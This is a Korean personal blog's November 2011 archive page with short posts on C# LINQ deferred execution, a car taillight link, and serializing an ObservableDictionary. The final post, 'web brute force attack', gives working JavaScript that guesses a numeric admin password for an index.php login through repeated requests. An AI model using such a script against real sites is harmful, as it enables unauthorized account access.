11월, 2011의 게시물 표시

C# LINQ 예제 (2)

Tags 라는 클래스는  TagName이라는 string type의 맴버를 가지고 있다고 하자. var rs = from tag in Tags where tag.TagName == value select tag.TagName; 이렇게 하면 value가 TagName과 같다면 결과는 1개 이상의 객체를 return 할것이다. 만약 결과가 1개라면 rs.Count<string>() 의 결과는 당연 1이다. 그런데, rs.Count<string>()을 실행하기전 Tags의 내용을 수정해서 Tags의 내용중 TagName이 같아진다면 rs의 결과는 달라진다. LINQ 구문을 실행한 후 라도 말이다. 의도한 것인지 알수는 없지만 참고 되었으면 한다.

쏘나타 백라이트 diy

YF 쏘나타 데루등 검색 하시는 분이 많아서 링크 걸어 둡니다. http://blog.daum.net/_blog/BlogTypeView.do?blogid=0OCv9&articleno=13&_bloghome_menu=recenttext#ajax_history_home 원본 게시자 분께 연락든 못 드렸습니다. (daum id가 없어서 ... 걍... ) 문제가 된다면 바로 삭제 하겠습니다.

ObservableDictionary + XmlSerializer

처음엔 list와 Dictionary를 바인딩 할려고 했는데, update가 안되었다. 그래서 찾아보니 http://observabledictionary.codeplex.com/ 이런게 있었다. 역시.. 세상엔 고수가 많다. 그런데, 어제부터 object를 xml serialize 시키는데 계속 오류가 났다. 처음엔 ObservableCollection<MyObject> 때문인줄 알았는데, ObservableDictionary가 문제였다. 다시 구글링... Dictionary 가 xml serialize 되지 않았다. http://weblogs.asp.net/pwelter34/archive/2006/05/03/444961.aspx 여기선 Dictionary에 IXmlSerializable을 구현했는데, ObservableDictionary 와 IXmlSerializable 을 상속받아 SerializableObservableDictionary 라는 무식한 클래스를 만들어 해결했다. 따로 코드는 필요없을듯하고.. 위 링크 참조하면 된다.

web brute force attack

아.. 자바스크립트로만 해결할려고 삽질 한참했다. 전역으로 선언한 xhr 객체가 xhr 이벤트 핸들때는 호출이 안되었다. function request(number){ if(number>2999) return; xhr = new XMLHttpRequest(); xhr = new ActiveXObject("Microsoft.XMLHTTP"); xhr.onreadystateChange = rply; xhr.open('get','index.php?cid=admin&cpw='+number+'&n='+Math.random());xhr.send(null); } i = 2000; xhr = new XMLHttpRequest(); xhr = new ActiveXObject("Microsoft.XMLHTTP"); function rply(){if(xhr.readyState==4) if( xhr.responseText.indexOf('Wrong') > 0) request(i++); else alert(i);} xhr.onreadystateChange = rply; xhr.open('get','index.php?cid=admin&cpw='+i);xhr.send(null);